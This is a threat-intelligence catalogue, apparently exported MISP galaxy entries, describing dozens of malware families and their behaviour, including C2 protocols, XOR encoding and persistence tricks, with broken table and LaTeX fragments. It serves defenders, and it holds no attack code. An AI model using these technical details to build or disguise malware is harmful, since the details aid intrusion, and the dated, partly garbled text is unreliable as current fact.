- similar: misp-galaxy:malpedia="Brambul" with estimative-language:likelihood-probability="likely"

PLEAD

PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
The tag is: *misp-galaxy:tool="PLEAD"

PLEAD has relationships with:

- similar: *misp-galaxy:malpedia="PLEAD"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:tool="TSCookie"* with estimative-language:likelihood-probability="likely"

### BabaYaga

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules—one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."

The tag is: *misp-galaxy:tool="BabaYaga"

### InvisiMole

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.
Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it’s comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

The tag is: `misp-galaxy:tool="InvisiMole"`

InvisiMole has relationships with:

- similar: `misp-galaxy:malpedia="InvisiMole"` with `estimative-language:likelihood-probability="likely"`

**Roaming Mantis**

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

The tag is: `misp-galaxy:tool="Roaming Mantis"`

Roaming Mantis has relationships with:

- similar: `misp-galaxy:malpedia="Roaming Mantis"` with `estimative-language:likelihood-probability="likely"`

**PLEAD Downloader**

PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
ClipboardWalletHijacker

The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.

The tag is: `misp-galaxy:tool="ClipboardWalletHijacker"`

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive
nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

The tag is: `misp-galaxy:tool="Olympic Destroyer"`

Olympic Destroyer has relationships with:

- similar: `misp-galaxy:malpedia="Olympic Destroyer"` with `estimative-language:likelihood-probability="likely"

**DDKONG**

The malware in question is configured with the following three exported functions: ServiceMain, Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named 'RunOnce'. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: `misp-galaxy:tool="DDKONG"`

DDKONG has relationships with:

- similar: `misp-galaxy:malpedia="DDKONG"` with `estimative-language:likelihood-probability="likely"`
PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

The tag is: misp-galaxy:tool="PLAINTEE"

PLAINTEE has relationships with:

- similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"
**Koadic**

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host.

The tag is: `misp-galaxy:tool="Koadic"`

Koadic has relationships with:

- similar: `misp-galaxy:malpedia="Koadic"` with `estimative-language:likelihood-probability="likely"

**Bisonal**

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file's contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations. In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: `misp-galaxy:tool="Bisonal"`

Bisonal has relationships with:

- similar: `misp-galaxy:malpedia="Korlia"` with `estimative-language:likelihood-probability="likely"

### Table 5415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Sekur**

Sekur has been CARBON SPIDER's primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: `misp-galaxy:tool="Sekur"`

---

**Agent ORM**

Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: `misp-galaxy:tool="Agent ORM"`

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

---

**VB Flash**

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: `misp-galaxy:tool="VB Flash"`
VB Flash is also known as:

- HALFBAKED

VB Flash has relationships with:

- similar: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="likely"

**Table 5418. Table References**

<table>
<thead>
<tr>

</tr>
</tbody>
</table>

**JS Flash**

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: *misp-galaxy:tool="JS Flash"*

JS Flash is also known as:

- JavaScript variant of HALFBAKED

**Table 5419. Table References**

</tr>
</tbody>
</table>

**Bateleur**

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: *misp-galaxy:tool="Bateleur"*

Bateleur has relationships with:

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker's control.

**Xbash**

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: **misp-galaxy:tool=“Xbash”**

**DanderSpritz**

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims. DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeddleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

**GhostMiner**
GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server’s processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory without writing any file on disk, where an antivirus engine could detect it.

**KingMiner**

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

**SpicyOmelette**

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: `misp-galaxy:tool="SpicyOmelette"`

**LamePyre**

When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker’s command and control (C2) server.

The tag is: `misp-galaxy:tool="LamePyre"`

LamePyre is also known as:

- OSX.LamePyre

OSX/Shlayer

The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although “adware” may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

BabyShark

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: `misp-galaxy:tool="BabyShark"`

StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

The tag is: `misp-galaxy:tool="StealthWorker"`
SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

The tag is: `misp-galaxy:tool="SLUB Backdoor"`

SLUB Backdoor has relationships with:

- similar: `misp-galaxy:backdoor="SLUB"` with `estimative-language:likelihood-probability="likely"

Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

The tag is: `misp-galaxy:tool="Carp Downloader"`

EVILNUM

EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

The tag is: `misp-galaxy:tool="EVILNUM"`

EVILNUM has relationships with:

- similar: `misp-galaxy:rat="Cardinal"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="Cardinal RAT"` with `estimative-language:likelihood-probability="likely"`
**Brushaloader**

Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.

The tag is: `misp-galaxy:tool="Brushaloader"`

**Karkoff**

In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors’ tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.

The tag is: `misp-galaxy:tool="Karkoff"`

**KimJongRAT**

We conclude that this RAT/stealer is efficient and was also really interesting to analyse. Furthermore, the creator made efforts to look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant with the name of each brother. After some searches using Google, we identified an old variant of this malware here: [http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html](http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html). The code of the malware available on the blog is close to our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixated on the Kim family... The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the gmail mailbox is laoshi135.zhang and the secret question of this account is in Korean too. We don’t know if the malware truly comes from Korea. However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: `misp-galaxy:tool="KimJongRAT"`
Cowboy

Based on our research, it appears the malware author calls the encoded secondary payload “Cowboy” regardless of what malware family is delivered.

The tag is: \texttt{misp-galaxy:tool=\textasciitilde\textquoteleft\textquoteleft Cowboy\textquoteright\textquoteright}\texttt{\textquoteleft\textquoteright}

JasperLoader

JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and flexibility in mind, as evidenced in later stages of the infection process.

The tag is: \texttt{misp-galaxy:tool=\textasciitilde\textquoteleft\textquoteleft JasperLoader\textquoteright\textquoteright}\texttt{\textquoteleft\textquoteright}

Scranos

The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.

The tag is: \texttt{misp-galaxy:tool=\textasciitilde\textquoteleft\textquoteleft Scranos\textquoteright\textquoteright}\texttt{\textquoteleft\textquoteright}
Reaver

Unit 42 has discovered a new malware family we've named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

The tag is: misp-galaxy:tool="Reaver"

Reaver has relationships with:

- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"

</tbody>
</table>

SURTR

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”. All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: misp-galaxy:tool="SURTR"

SURTR has relationships with:

- similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"

Table 5478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**SunOrcal**

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: `misp-galaxy:tool="SunOrcal"`

SunOrcal has relationships with:

- similar: `misp-galaxy:tool="Reaver"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:tool="SURTR"` with `estimative-language:likelihood-probability="roughly-even-chance"`

**Bookworm**

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.
